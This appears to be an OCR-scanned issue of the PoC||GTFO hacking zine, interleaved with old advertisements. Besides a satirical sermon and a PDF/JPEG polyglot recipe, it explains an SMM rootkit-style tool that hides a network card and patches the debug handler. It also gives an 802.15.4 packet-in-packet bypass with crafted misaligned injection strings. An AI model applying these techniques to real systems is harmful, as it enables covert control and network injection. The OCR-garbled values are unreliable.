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Legal Note: Permission to use all or part of this work for personal, classroom or any other use is NOT granted 
unless you make a copy and pass it to a neighbor without fee. If burning a book is a sin, then copying books is as 
much your sacred duty. Saint Leibowitz of Utah was once himself a humble booklegger; there ain't no shame in it. 

Reprints: This issue is published through samizdat as pocorgtfo03.pdf. While we recognize that it is clearly ille- 
gal under the CFAA to enumerate integers in a URL, you might want to risk counting upward from pocorgtfoOO.pdf 
to get our other issues. Though we promise to try to talk some sanity into the prosecutor, we cannot promise that 
he will listen to reason. In the event that you are convicted for counting, please give our kindest regards to Weev. 

Technical Note: This file, pocorgtfo03.pdf, complies with the PDF, JPEG, and ZIP file formats. When en- 
crypted with AES in CBC mode with an IV of 5B FO 15 E2 04 8C E3 D3 8C 3A 97 E7 8B 79 5B CI and a key of 

"Manul Laphroaig!", it becomes a valid PNG file. Treated as single-channel raw audio, 16-bit signed little-endian 
integer, at a sample rate of 22,050 Hz, it contains a 2400 baud AFSK transmission. 
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1 Call to Worship 



Neighbors, please join me in reading this fourth issue of the International Journal of Proof of Concept or Get 

the Fuck Out, a friendly little collection of articles for ladies and gentlemen of distinguished ability and taste 
in the field of software exploitation and the worship of weird machines. If you are missing the first three 
issues, we the editors suggest pirating them from the usual locations, or on paper from a neighbor who picked 
up a copy of the first in Vegas, the second in Sao Paulo, or the third in Hamburg. This fourth issue is an 
epistle to the good neighbors at the Troopers Conference in Heidelberg and the neighboring RaumZeitLabor 
hackerspace in Mannheim. 

We begin with Section 2, in which our own Rt. Rcvd. Dr. Pastor Manul Laphroaig condemns the New 
Math and its modern equivalents. The only way one can truly learn how a computer works is by smashing 
these idols down to bits and bytes. 

Like our last two issues, this one is a polyglot. It can be interpreted as a PDF, a ZIP, or a JPEG. In 
Section 3, Ange Albertini demonstrates how the PDF and JPEG portions work. Readers will be pleased to 
discover that renaming pocorgtfo03.pdf to pocorgtfo03.jpg is all that is required to turn the entire issue 
into one big cat picture! 

Joshua Wise and Jacob Potter share their own System Management Mode backdoor in Section 4. As this 
is a journal that focuses on nifty tricks rather than full implementation, these neighbors share their tricks 
for using SMM to hide PCI devices from the operating system and to build a GDB stub that runs within 
SMM despite certain limitations of the IA32 architecture. 

In Section 5, Travis Goodspeed shares with us three mitigation bypasses for a PIP defense that was 
published at Wireless Days. The first two aren't terribly clever, but the third is a whopper. The attacker 
can bypass the defense's filter by sending symbols that become the intended message when left-shifted by 
one eighth of a nybble. What the hell is an eighth of a nybble, you ask? RTFP to find out. 

Conventional wisdom says that by XORing a bad RNG with a good one, the worst-case result will be as 
good as the better source of entropy. In Section 6, Taylor Hornby presents a nifty little PoC for Bochs that 
hooks the RDRAND instruction in order to backdoor /dev/urandom on Linux 3.12.8. It works by observing 
the stack in order to cancel out the other sources of entropy. 

We all know that the Internet was invented for porn, but Assaf Nativ shows us in Section 7 how to 
patch a feature phone in order to create a Kosher Phone that can't be used to access porn. Along the way, 
he'll teach you a thing or two about how to bypass the minimal protections of Nokia 1208 feature phone's 
firmware. 

In the last issue's CFP, we suggested that someone might like to make Dakarand as a 512-byte X86 boot 
sector. Juhani Havcrincn, Owen Shepherd, and Shikhin Sethi from FreeNode's itosdev-offtopic channel did 
this, but they had too much room left over, so they added a complete implementation of Tetris. In Section 8 
you can learn how they did it, but patching that boot sector to double as a PDF header is left as an exercise 
for the loyal reader. 

Section 9 presents some nifty research by Josh Thomas and Nathan Keltner into Qualcomm SoC security. 
Specifically, they've figured out how to explore undocumented eFuse settings, which can serve as a basis for 
further understanding of Secure Boot 3.0 and other pieces of the secure boot sequence. 

In Section 10, Frederik Braun presents a nifty obfuscation trick for Python. It seems that Rot-13 is a 
valid character encoding! Stranger encodings, such as compressed ones, might also be possible. 

Neighbor Albertini wasn't content to merely do one crazy concoction for this file. If you unzip the PDF, 
you will find a Python script that encrypts the entire file with AES to produce a PNG file! For the full story, 
see the article he wrote with Jean-Philippe Aumasson in Section 11. 

Finally, in Section 12, we do what churches do best and pass around the donation plate. Please contribute 
any nifty proofs of concept so that the rest of us can be enlightened! 
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2 Greybeard's Luck 



a sermon by the Rt. Revd. Dr. Pastor Manul Laphroaig 

My first computer was not a computer; rather, it was a "programmable micro- 
calculator." By the look of it, it was macro rather than micro, and could double as 
a half-brick in times of need. It had to be plugged in pretty much most of the time 
(these days, I have a phone like that), and any and all programs had to be punched 
in every time it lost power for some reason. It sure sounds like five miles uphill in 
the snow, both ways, but in fact it was the most wondrous thing ever. 

The programmable part was a stack machine with a few additional named mem- 
ory registers. Instructions were punched on the keyboard; besides the stack reverse 
Polish arithmetic, branches, and a couple of conditionals, there was a command for 
pushing a keyed-in number on top of the stack. That was my first read-eval-print 
loop, and it was amazing. Days were spent entering some numbers, hitting go, ob- 
serving the output, and repeating over and over. (A trip from the Moon base back to 
Earth took almost a year, piece by piece. A sci-fi monthly published a program for 
each trajectory, from lift-off to refueling at a Lagrange point, and finally atmospheric 
braking and the perilous final landing on good old Earth.) 

You see, I understood everything about that calculator: the stack, the stop-and- 
wait for the input, reading and writing registers (that is, pushing the numbers in 
them on top of the stack or copying the top of the stack into them), the branches and 
the loops. There was never a question how any operation worked: I always knew what 
registers were involved, and had to know this in order to program anything at all. 
No detail of the programming model could be left as "magic" to "understand later"; 
no vaguely understood part could be left glossed over to "do real work now." There g>eMMU 
were no magical incantations to cut-and-paste to make something work without 
understanding it. 

I did not recognize how lucky I had been until, many years later, I decided to take up "real" industrial 
programming, which back then meant C++. Suddenly my head was full of Inheritance, Overloading, En- 
capsulation, Polymorphism, and suchlike things, all with capital letters. I learned their definitions, pasted 
large blocks of code, and enthusiastically puzzled over tricky questions from these Grand Principles of Object 
Oriented Programming such as, "if a virtual function is also overloaded, which version will be called?" In 
retrospect, my time woTild have been better spent researching whether Superman would win over Batman. 

At about the same time I learned about New Math. It was born of the original Sputnik Moment and 
was the grand idea to reform the teaching of mathematics to school children so that they would make better 
Sputniks, and faster. The earth-bound kind of arithmetic that was useful in a shop class would be replaced 
by the deeper, space-age kind. 

That Sputnik must have carried a psychotronic weapon. There is no other sane explanation for why 
the schooling of American engineers— those who launched the same kind of satellite just four months later— 
suddenly wasn't deemed good enough. A whole industry arose to print new, more expensive textbooks, with 
Ph.D.s in space-age math education to match; teachers were told to abandon the old ways and teach to the 
new standards. Perfectly numerate parents could no longer comprehend the point of grade school arithmetic 
homework. 

Suddenly, adding numbers mattered less than knowing that Addition was Commutative; as a result, 
school children learned about Commutativity but could no longer actually add numbers. They couldn't 
add numbers in their heads or on paper, let alone multiply them. Shop class became the only place in 
school where one could actually learn about fractions— not that they were Rational Numbers, but how to 
actually measure things with them, and why. College students thought an algebraic equation was harder if 
it contained fractions. 

Knowledge of math was measured by remembering special words, rather than a show of skill. You see, a 
skill always involves a lot of tricks; they may be nifty, but they are also too technical and who has time for 
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that in this space age? Important Concepts, on the other hand, are nicely general, and you can have middle 
schoolers saying things straight out of the graduate program within a few weeks! Is that not Progress? 
Indeed, only one other Wonder of Progress can stand close to New Math: the way that children are locked in 
a room with a literate adult for most of the day, for years, and still emerge unable to read. People couldn't 
pull that off in the Dark Ages; this takes Science to organize. 

What came after New Math was even worse. Some of the school children who could barely count but 
knew the Important Concepts became teachers and teachers of teachers. Others realized that despite all the 
Big Ideas the skill of math was vanishing. They saw the fruits of Big Idea pushers dismissing drill; they 
concluded that drill was the key to the skill. So subsequent reforms barreled between repetitive, senseless rote 
and more Capital Letter Words. These days it seems that Discovery, Higher Order, Critical Thinking are in 
fashion, which means children must waste days of school time "discovering" Pi and suchlike, working through 
countless vaguely defined steps, only to memorize whatever the teacher would tell them these activities meant 
in the end. Now we have the worst of all: wasted time and boredom without any productive skill actually 
learned. The only thing than can be learned in such a class is helplessness and putting up with pretentious 
waste of time, or worse!, mistaking this for actual math. 

I was beginning to feel pretty helpless in the world of CH — h Important Concepts of Object Oriented 
Programming. I was yearning for my old calculator, where I did not have to learn a magical order of mystery 
buttons to press in order to get the simplest program to work. Having had a book fetish since childhood, I 
hoped for a while that I just hadn't found the right one to Unleash or Dummify myself in 21 Days. I was 
like a school child who could hardly suspect that the latest textbook with brightly colored pictures is full of 
vague unmathematical crap that would horrify actual mathematicians. (More likely, such mathematicians 
of ages past would run the textbook authors through in a proper duel.) 

Then one day that world was blown to bits. Polymorphism and Inheritance blew up when I saw a vtable. 
After that, function name mangling was a brief mop-up operation that took care of Overloading. Suddenly, 
the Superman-vs-Batman contests and other CH — h language-lawyer interview fare became trivial. It was 
just as simple as my calculator; in fact, it was simpler because it did not have the complexity of managing 
a tiny amount of memory. 

There is an old name for what people do with Big Ideas and Important Concepts that are so important 
that you cannot hope to have their internal workings understood without special training by special people. 
It is called worshiping idols, and what we ought to do with idols is to smash them to bits. 

And if the bits do not make sense, then the whole of a Most Modern Capitalized Fashion does not make 
sense, and the special people are merely priests promising that supplicating the idol will improve your affairs. 
Not that anything is wrong with priests, but idols teach no skills, and if your trust is in your skill, then you 
should seek a different temple and a different augur. Or, better yet, build your own damned bird-feeder! 



Verily I say to you that when they keep uttering some words in such a way that you hear Capital Letters, 
look 'em in the eye and ask 'em: "how does this work?" Also remember that "I don't really know" is an 
acceptable answer, and the one who gives it is your potential ally. 

I was brought to a place where they worshiped idols called Commutativity and Associativity, or else 
Inheritance and Polymorphism, and where they made sacrifices of their children's time to these idols. They 
made many useless manuscripts that would break a mule's back but which these children had to carry to 
and from school. And making a whip of cords, I drove them all out of the temple, screaming "This is a waste 
of time and paper! Trees will grow back hundredfold if you let them alone, for nature cannot be screwed, 
but who will restore to the old the lost time of their youth?" 

They taught, "Lo this is Commutative and Higher Order, or else this is a Reference, and this is a Pointer." 
And when I asked them, "How do you add numbers, and how does your linker work?", they demurred and 
spoke of Abstraction and Patterns. Verily I tell you, if you don't know how to do your Abstractions on 
paper and what they compile into, you are worshiping idols and wasting your time. And if you teach that 
to children, you are sacrificing their time and their minds to your graven images. Repent and smash your 
graven idols to bits, and teach your children about the smashing and the bits and the bytes instead, for these 
are the only skills that matter! 
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Quality physical education 
equals academic success. 

You do the math. 



Seriously, try to do the math. 
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3 This PDF is a JPEG; or, 

This Proof of Concept is a Picture of Cats 

by Ange Albertini 

In this short little article, I'll teach you how to combine a PDF and a JPEG into a single polyglot file 
that is legal and meaningful in both languages. 

The JPEG format requires its Start Of Image signature, FF D8, at offset 0x00, exactly. The PDF format 
officially requires its %PDF-l.x signature to be at offset 0x00, but in practice most interpreters only require 
its presence within the first 1,024 bytes of the files. Some readers, such as Sumatra, don't require the header 
at all. 

In previous issues of this journal, you saw how a neighbor can combine a PDF document with a ZIP 
archive (PoC|lGTFO 01:05) or a Master Boot Record (PoC|jGTFO 02:08), so you should already know the 
conditions to make a dummy PDF object. The trick is to fit a fake obj streeim in the first 1024 bytes 
containing whatever your second file demands, then to follow that obj stream with the contents of your 
real PDF. 

FILE JPEG PDF 

eeeee: ff tie 'start of image' marker 

99962: (ff eer<size. 16> <content> "APPO" MARKER (REQUIRED HEADER) 

99914: ff fe <size.l6> "COMMEMT' MARKER 

+4: !<PDF-1.5 COMMENT CONTEriT PDF SIGHATURE 

999 6 obj ST ARTIMG A DUMMY BINARY OBJECT 

<<>> 

stream 

98939 : ... (OTHER MARKERS ORISIMAL JPEG DATAl... 

XX : ff d9 'END OF IMAGE' MARKER 

xx-»2 : endstream CLOSING THE DUMMY OBJECT 

endobj 

XXfl4: %PDF-1.5 ... ORIGINAL PDF CONTENTS (MULTIPLE SIGNATURES ARE IGNORED) 

■REPLACED WITH 00 00 TO BYPASS ADOBE FILTER 



To make these two formats play well together, we'll make our first insert object streeim clause of the 
PDF contain a JPEG comment, which will usually start at offset 0x18. Our PDF comment will cause the 
PDF interpreter ignore the remaining JPEG data, and the actual PDF content can continue afterward. 

Unfortunately, since version 10.1.5, Adobe Reader rejects PDF files that start like a JPEG file ought to. 
It's not clear exactly why, but as all official segments' markers start with FF, this is what Adobe Reader 
checks to identify a JPEG file. Adobe PDF Reader will reject anj^thing that begins with FF D8 FF as a 
JPEG. 

However, a large number of JPEG files start with an APPO segment containing a JFIF signature. This 

begins with an FF EG marker, so most JPEG viewers don't mind this in place of the expected APPO marker. 
Just changing that FF EO marker at offset 0x02 to anything else will give will give us a supported JPEG 
and a PDF that our readers can enjoy with Adobe's software. 

Some picky JPEG viewers, such as those from Apple, might still require the full sequence FF D8 FF EO 
to be patched manually at the top ofpocorgtfo03.pdf to enjoy our cats, Calisson and Sarkozette. 
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German GQRP Club Members 

MEETING IN MAY 1998 

Please contact Rudi before the end of January 
Rudi Dell. DK4UH, Weinbietstr. 10, 67459, BOEHL-IGGELHEIM 



$95 MORSE TRANSCEIVER 



SEND: 

• 1 to 150 WPM (set from 
terminal) 

• 32 character FIFO buffer 
with editing 

• Auto Space on word boundries 

• Grid/Cathode key output 

• LED Readout for WPM and 
Buffer space remaining 



SERIAL INTERFACE: 



COPY: 

• 1 to 150 WPM with 
Auto-Sync. 

• Continuously computes 
and displays Copy WPM 

• 80 HZ Bandpass filter 

• Re-keyed Sidetone Osc. 
with on-board speaker 

• Fully compensating to 
copy any 'fist style^ 



[— MRS-100 CONFIGURATIONS: — ■ 

• $95 Partial Kit (includes Microcomputer components 
and circuit boards; less box and analog components) 

• $225 Complete Kit (includes box, power supply, 
and all other components) 

• $295 Assembled and tested unit (as shown) 

— ^ Overseas Orders and dealer inquires welcome — 



MIKH 
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the ULTIMATE in 

CHEAP VIDEO 

BOOK & KIT 
ONLY $42.95 




4 NetWatch: 

System Management Mode is not just for Governments. 

by Joshua Wise and Jacob Potter 

Neighbors, by now you have heard of a well known state's ex- 
plorations into exciting and exotic malware. The astute amongst 
you may have had your ears perk up upon hearing of SCHOOL- 
MONTANA, a System Management Mode rootkit. You might 
wonder, how can I get some of that SMM goodness for myself? 

Before we dive too deeply, we'll take a moment to step back 
and remind our neighbors of the many wonders of System Man- 
agement Mode. Our friends at Intel bestowed SMM unto us 
with the i386SL, a low-power variant of the '386. When they 
realized that it would become necessary to provide power man- 
agement features without modifying existing operating systems, 
they added a special mode in which execution could be trans- 
parently vectored away from whatever code be running at the 
time in response to certain events. For instance, vendors could 
use SMM to dynamically power sound hardware up and down 
in response to access attempts, to control backlights in response 
to keypresses, or even to suspend the system! 

On modern machines, SMM emulates classic PS/'2 keyboards 
before USB drivers have been loaded. It also manages BIOS up- 
dates, and at times it is used to work around defects in the hard- 
ware that Intel has given us. SMM is also intricately threaded 
into ACPI, but that's beyond the scope of this little article. 
All of this sounds appetizing to the neighbor who hungers for deeper control over their computer. Beyond 
the intended uses of SMM, what else can be done with the building blocks? Around the same time as the 
well known state built SCHOOLMONTANA and friends, your authors built a friendlier tool, NetWatch. We 
bill NetWatch as a sort of lights-out box for System Management Mode. The theory of operation is that 
by stealing cycles from the host process and taking control over a secondary NIC, NetWatch can provide 
a VNC server into a live machine. With additional care, it can also behave as a GDB server, allowing for 
remote debugging of the host operating system. 

We invite our neighbors to explore our work in more detail, and build on it should you choose to. It runs 
on older hardware, the Intel ICH2 platform to be specific, but porting it to newer hardware should be easy 
if that hardware is amenable to loading foreign SMM code or if an SMM vulnerability is available. Like all 
good tools in this modern era, it is available on GitHub.^ 

We take the remainder of this space to discuss some of the clever tricks that were necessary to make 
NetWatch work. 



Don Lancaster's "Cheap Video 'concept allows almost 
unlimited options, including: 

* Scrolling - Full performance cursor. 

* Line/Character formats of 16;^, 24/80, 32/64 .... 
or almost anything. 

« Graphics-up to 25eX 256 B&W; S6X128 COLOR 
C requires low-cost option modules ) 

* Works with 6502 , 6800 and other micros. 

SE^CIAL OFFER: Buy the Kit Cupper case al^ia- 
numeric option included] & get the Book at 1/2 price. 

BBiA ELECTRONICS, [IEPT.4-B,U)Z0W.WILSHIRE BLVD.. DKLMQHA CITV, [IK7311G 



I'm Sold. PLEASE RUSH t 1 SEND FBEE CATALOG 

( ] TVT-s ^ Kit & Cheap Video Cookbook - $42.9S lendo&edl 
C 1 TVT-e^ Kitonly (book required for osBemblyl-SSaSQ 



DEPT. 4-B, 102011. WILSHIRE BLVD.. DKLAHOIU CITV, aK73l1G 



4.1 A thief on the PCI bus. 

To be able to communicate with the outside world, NetWatch needs a network card of its own. One problem 
with such a concept is that the OS might want to have a network card, too; and, indeed, at boot time, the 
OS may steal the NIC from however NetWatch has programmed it. We employ a particularly inelegant hack 
to keep this from happening. 

The obvious thing to do would be to intercept PCI configuration register accesses so that the OS would 
be unable to even prove that the network card exists! Unfortunately, though there arc many things that a 
System Management Interrupt can be configured to trap on, PCI config space access is not a supported trap 

'^https : //github. com/jwise/netwatch 
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on ICH2. ICH2 docs provide for port 10 traps on the Soutlibridgc. Init PCI peripherals are attached to the 
Northbridge on that generation. This means that directly intercepting and emulating the PCI configuration 
phase won't work. 

We instead go and continuously "bother" PCI peripherals that we wish to disturb. Every time we trap 
into system management mode— which we have configured to be once every 64ms— we write garbage values 
over the top of the card's base address registers. This effectively prevents Linux from configuring the card. 
When Linux attempts to do initial detection of the card, it times out waiting for various resources on the 
(now-bothered) card, and does not succeed in configuring it. 

Neighbors who have ideas for more effectively hiding a PCI peripheral from a host are encouraged to 
share their PoC with us. 

4.2 Single-stepping without hardware breakpoints. 

In a GDB slave, one of the core operations is to single-step. Normally, single-step is implemented using the 
TF bit in the FLAGS/EFLAGS/RFLAGS register, which causes a debug exception at the end of the next 
instruction after it is set. The kernel can set TF as part of an IRET, which causes the CPU to execute 
one instruction of the program being debugged and then switch back into the kernel. Unfortunately Intel, 
in all their wisdom, neglected to provide an analog of this feature for SMM. When NetWatch's GDB slave 
receives a single-step command, it needs to return from SMM and arrange for the CPU to execute exactly 
one instruction before trapping back in to SMM. If Intel provides no bit for this, how can we accomplish it? 

Recall that the easiest way to enter SMM is with an I/O port trap. On many machines, port 0xB2 is 
used for this purpose. You may find that MSR SMI_ON_IO_TRAP_0 (0xC001_0050) has already been 
suitably set. NetWatch implements single-step by reusing the standard single-step exception mechanism 
chained to an I/O port trap. 

Suppose the system was executing a program in user-space when NetWatch stopped it. When we receive 
a single step command, we must insert a soft breakpoint into the hard breakpoint handler. This takes the 
form of an OUT instruction that we can trap into the #DB handler that we otherwise couldn't trap. 

• Track down the location of the IDT and the target of the #DB exception handler. 

• Replace the first two bytes of that handler with E6 B2, "out 7oal , $0xb2" 

• Save the "/ocs and 7oSs descriptor caches from the SMM saved state area into reserved spots in SMRAM. 

• Return from SMM into the running system. 

Now that SMM has ceded control back to the regular system, the following will happen. 

• The system executes one instruction of the program being debugged. 

• A #DB exception is triggered. 

• If the system was previously in Ring 3, it executes a mode switch into Ring 0 and switches to the 
kernel stack. Then it saves a trap frame and begins executing the #DB handler. 

• The #DB handler has been replaced with out %al , $0xb2. 

Finally, the OUT instruction triggers a System Management Interrupt into our SMM toolkit. 

• The SMI handler undoes the effect of the exception that just happened: it restores RIP, CS, RFLAGS, 
RSP, and SS from the stack, and additionally restores the descriptor caches from their saved copy in 
SMRAM. It also replaces the first two bytes of the #DB handler. 

• NetWatch reports the new state of the system to the debugger. At this point, a single X86 instruction 
step has been executed outside of SMM mode. 
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4.3 Places to go from here. 



NetWatch was written as a curiosity, but having a framework to explore System Management Mode is 
damned valuable. Those with well- woven hats will also enjoy this opportunity to disassemble SMM firmware 
on their own systems. SMM has wondrous secrets hidden within it, and it is up to you to discover them! 

The authors offer the fi/iiest of greets to Dr. David A. Eckhardt and to Tim Hockin for their valuable 

guidance in the creation of NetWatch. 
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design enhances performance. The DS-80 offers random access video digitization of up to 256 X 256 spatial resolution and 64 
levels of grey scale, plus controls for brightness, contrast and width. It is versatile enough to handle any video processing 
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Display Board. . , . _ 
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Hey kids! 

Xerox this page and cut out the crypto wheel. 
You can write your own secret messages that only idiots can't read! 
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0 

1 16110011 100001 i6i0ieeieeeiei lie 






1 

11101101100111000011010100100010 


H 


1 


2 

00101110110110011100001101010010 






3 

00100010111011011001110000110101 


H 





4 

01010010001011101101100111000011 




h 


5 

00110101001000101110110110011100 


H 


1 


6 

11000011010100100010111011011001 






7 

10011100001101010010001011101101 


H 




8 

10001100100101100000011101111011 






10111000110010010110000001110111 


H 





A 

01111011100011001001011000000111 






B 

01110111101110001100100101100000 


H 





C 

00000111011110111000110010010110 






n 

01100000011101111011100011001001 


H 




10010110000001110111101110001100 


H 




11001001011000000111011110111000 


H 



r 


11011001110000110101001000101110 

0 




r 


11101101100111000011010100100010 
1 


h 


r 


00101110110110011100001101010010 

2 




r 


001000101 1 101 101 1001 1 100001 10101 

3 




r 


01010010001011101101100111000011 

4 


h 


r 


00110101001000101110110110011100 

5 


h 


r 


1 100001 10101001000101 1 101101 1001 

6 




r 


10011100001101010010001011101101 

7 




r 


10001100100101100000011101111011 

8 


h 


r 


1011 10001 100100101 10000001 1 1011 1 




r 


01111011100011001001011000000111 

A 




r 


01110111101110001100100101100000 

B 


h 


r 


00000111011110111000110010010110 

C 






01100000011101111011100011001001 

D 


h 




10010110060001110111101110001100 






11001001011000000111011110111000 

F 


h 



Hey kids! 

Xerox this page and cut the paper strips apart. 
You can write your own odd- alignment packet-in-packet injection strings! 
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5 An Advanced Mitigation Bypass for Packet-in-Packet; or, 

I'm burning Oday to use the phrase 'eighth of a nybble' in print. 



by Travis Goodspeed 

continuing work begun in collaboration with the Dartmouth Scooby Crew 



Howdy y'all, 

This short httle article is a follow-up to my work on 802.15.4 packet-in-packet attacks, as published at 
Usenix WOOT 2011. In this article, I'll show how to craft PIP exploits that avoid the defense mechanisms 
introduced by the fine folks at Carleton University in Ontario. 

As you may recall, the simple form of the packet-in-packet attack works by including the symbols that 
make up a Layer 1 packet at Layer 7. Normally, the interior bytes of a packet are escaped by the outer 
packet's header, but packet collisions sometimes destroy that header. However, collisions tend to be short 
and so leave the interior packet intact. On a busy band like 2.4GHz, this happens often enough that it can 

be used reliably to inject packets in a remote network. 

At Wireless Days 2012, Biswas and company released a short paper entitled A Lightweight Defence 
against the Packet in Packet Attack in ZigBee Networks. Their trick is to use bit-stuffing of a sort to prevent 
control information from appearing within the payload. In particular, whenever they see four contiguous 00 
symbols, they stuff an extra FF before the next symbol in order to ensure that the Zigbee packet's preamble 
and Start of Frame Delimiter (also called a Sync) are never found back-to-back inside of a transmitted packet. 

So if the attacker injects 00 00 00 00 A7 ... as in the original WOOT paper, Biswas' mitigation would 
send 00 00 00 00 FF k7 ... through the air, preventing a packet-in-packet injection. The receiving unit's 
networking stack would then transform this back to the original form, so software at higher layers could be 
none-the- wiser. 

One simple bypass is to realize that the receiving radio may not in fact need four bytes of preamble. An 
upcoming tech report^ from Dartmouth shows that the Telos B does not require more than one preamble 
byte, so 00 00 A7 ... would successfully bypass Biswas' defense. 

Another way to bypass this defense is to realize that 802.15.4 symbols are four bits wide, so you can 
abuse nybble alignment to sneak past Biswas' encoder. In this case, the attacker would send something like 
FO 00 00 00 OA 7 . . . , allowing for eight nybbles, which are four misaligned bytes, of zeroes to be sent in a 
row without tripping the escaping mechanism. When the outer header is lost, the receiver will automatically 
re-align the interior packet. 



But those are just bugs, easily identified and easily patched. Let's take a look at a full and proper 
bypass, one that's dignified and pretty damned difficult to anticipate. You see, byte boundaries in the 
symbol stream are just an accidental abstraction that doesn't really exist in the deepest physical layers, and 
they are not the only abstraction the hardware ignores. By finding and violating these abstractions while 
retaining compatibility with the hardware receiver!— we can perform a packet-in-packet injection without 
getting caught by the filter. 

You'll recall that I told you 802.15.4 symbols were nybble-sized. That's almost true, but strictly speaking, 
it's a comforting lie told to cliilclreu. The truth is that there's a lower layer, where each nybble of the message 
is sent as 32 ones and zeroes, which are called 'chips' to distinguish them from higher-layer bits. 



^Fingerprinting IEEE 802.15.4 Devices by Ira Ray Jenkins and the Dartmouth Scooby Crew, TR2014-746 
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The symbols and chip sequences are defined hke this in the 802.15.4 standard. As each chip sequence has 
a respectably large Hamming distance from the others, an error-correcting symbol matcher on the receiving 
end can find the closest match to a symbol that arrives damaged.^ This fix is absolutely transparent— by 
design— to all upper layers, starting with the symbol layer where SFD is matched to determine where a 
packet starts. 



0 — 11011001110000110101001000101110 8 — 10001100100101100000011101111011 

1 — 11101101100111000011010100100010 9 — 10111000110010010110000001110111 
2 — 00101110110110011100001101010010 A — 01111011100011001001011000000111 
3 — 00100010111011011001110000110101 B — 01110111101110001100100101100000 
4 — 01010010001011101101100111000011 C — 00000111011110111000110010010110 

5 — 00110101001000101110110110011100 D — 01100000011101111011100011001001 

6 — 11000011010100100010111011011001 E — 10010110000001110111101110001100 

7 — 10011100001101010010001011101101 F — 11001001011000000111011110111000 



That is, the Preamble of an 802.15.4 packet can be written as either GO GO GG GG or eight repetitions of 
the zero symbol IIGIIGGIIIGGGGIIGIGIGGIGGGIGIIIG. While Biswas wants to escape any sequences of the 
interior symbols, he is actually just filtering at the byte level. Filtering at the symbol level would help, but 
even that could be bypassed by misaligned symbols. 

"What the hell are misaligned symbols!?" you ask. Read on and I'll show you how to obfuscate a PIP 
attack by sending everything off by an eighth of a nybble. 

I took the above listing, printed it to paper, and cut the rows apart. Sliding the rows around a bit shows 
that the symbols form two rings, in which rotating by an eighth of the length causes one symbol to line up 
with another. That is, if the timing is off by an eighth of a nybble, a 0 might be confused for a 1 or a 7. 
Two eighths shift of a nybble will produce a 2 or a 6, depending upon the direction. 

0 1 10 1 1001 1 100001 10 10100 1000 101 1 10 / 1 000 1 100100 101 innooooi 1 10 1 1 1 101 1 8 



1 1110 1101100 1110000 11010100 100010 / 101110001100 10010 110000001110111 9 

2 0010 1110110 1100111000011010 10010 / 0 11110 111000 1100100 10 11000000111 A 

3 001000 10 1110 110 11001110000110 101 / 0 111011110111000 1100100 101100000 B 

4 0 10 1001000 101110 1101100 1110000 11 / 000001110 111101110001100 10010110 c 

5 00 110 10100 100010 1110110 110011100 / 011000000 1110 11110 111000 11001001 D 

6 110000 11010 1001000 10 1110 110 11001 / 10010 11000000 111011110111000 1100 E 

7 10011100001101010010001011101101 / 11001001011000000111011110111000 F 



This technique would work for chipwise translations of any shift, but it just so happens that all translations 
occur in four-chip chunks because that's how the 802.15.4 symbol set was designed. Chip sequences this long 
are terribly difficult to work with in binary, and the alignment is convenient, so let's see them as hex. Just 
remember that each of these nybbles is really a chip-nybble, which is one-eighth of a symbol- nybble. 



0 D9C3522E 8 8C96077B 

1 ED9C3522 9 B8C96077 

2 2ED9C352 A 7B8C9607 

3 22ED9C35 B 77B8C960 

4 522ED9C3 C 077B8C96 

5 3522ED9C D 6077B8C9 



6 C3522ED9 E 96077B8C 

7 9C3522ED F C96077B8 

So now that we've got a denser notation, let's take a look at the packet header sequence that is blocked 
by Biswas, namely, the 4-bytes of zeroes. In this notation, the upper line represents 802.15.4 symbols, while 
the lower line shows the 802.15.4 chips, both in hex. 

00000000 
D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E 

As this sequence is forbidden (i.e., will be matched against by Biswas' bit stuffing trick) at the upper 
layers, we'd like to smuggle it through using misaligned symbols. In this case, we'll send 1 symbols instead 

^Note that Hamming-distance might not be the best metric to match the symbol. Other methods, such as finding the longest 
stretch of perfectly-matched chips, will still work for the bypass presented in this article. 



16 



of 0 symbols, as shown on the lower half of the following diagram. Note how damned close they are to the 
upper half. At most one eighth of any symbol is wrong, and within a stretch of repeated symbols, every chip 
is correct. 

00000000 
D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E 
11111111 
ED9C3522 ED9C3522 ED9C3522 ED9C3522 ED9C3522 ED9C3522 ED9C3522 ED9C3522 

So instead of sending our injection string as 00000000A7, we can move forward or backward one spot in 
the ring, sending llllllllBO or 7777777796 as our packet header and applying the same shift to all the 
remaining symbols in the packet. 

"But wait!" you might ask, "These symbols aren't correct! Between 0 and 4 chips of the shifted symbol 
fail to match the original." 

The trick here is that the radio receiver must match any incoming chip sequence to some output symbol. 
To do this, it takes the most recent 32 chips it received and returns the symbol from the table that has the 
least Hamming distance from the received sample. 

So when the radio is looking for A7 and sees BO, the error calculation looks a little like this. 

BO — 77B8C960D9C3522E 

I I I I I I I I < — Chips are nearly equal . 
A7 — 7B8C96079C3522ED 

For the first symbol, the receiver expects the A symbol as 7B8C9607 but it gets 76809605. Note that 
these only differ by the last four chips, and that the Hamming distance between 0111 and 1101 is only two, 
so the difference between an A and a misaligned B in this case is only two. 

It's easy to show that the worst off-by-one misalignment would make the Hamming distance differ by at 
most four. Comparing this with the distance between the existing symbols, you will see that they are all 
much further apart from one other. So we can obfuscate an entire inner packet, letting the receiver and a 
bit of radioland magic translate our packet from legal symbols into ones that ought to have been escaped. 

Ain't that nifty? 



This technique of abusing sub-symbol misalignment to send a corrupted packet- in-packet wliidi is reliably 
transformed back into a correct, meaningful packet should be portable to protocols other than 802.15.4. 

For example, most Phase Shift Keyed (PSK) protocols can have phase misalignment that causes symbols 
to be conftised for each other. Freqiiency Shift Keyed (FSK) protocols can have frequency misalignment 
when on neighboring channels, so that sometimes one channel in 2 FSK will see a packet intended for a 
neighboring channel, but with all or most of the bits flipped. 

One last subject I should touch on is a fancy attempt by Michael Ossmann and Dominic Spill to defend 
against packet-in-packet attacks which was presented at Shmoocon 2014 and in a post to the Langsec mailing 
list. While they don't explicitly anticipate the bypass presented in this paper, it's worth noting that their 
example (5,2,2) Isolated Complementary Binary Linear Block Code (ICBLBC) does not seem to be vulnerable 
to my advanced bypass technique. Could it be that all such codes are accidentally invulnerable? 

Evan Sultanik on the Digital Operatives Blog ported Mike and Dominic's technique for generating codes 
to Microsoft's Z3 theorem prover and came up with a number of new ICBLBC codes. 

With so many to choose from, surely a clever reader could extend Evan's Z3 code to search just for 
those ICBLBC codes which are vulnerable to type confusion with misalignment? I'll buy a beer for the 
first neighbor to demo such a PoC, and another beer for the first neighbor to convincingly extend Mike and 
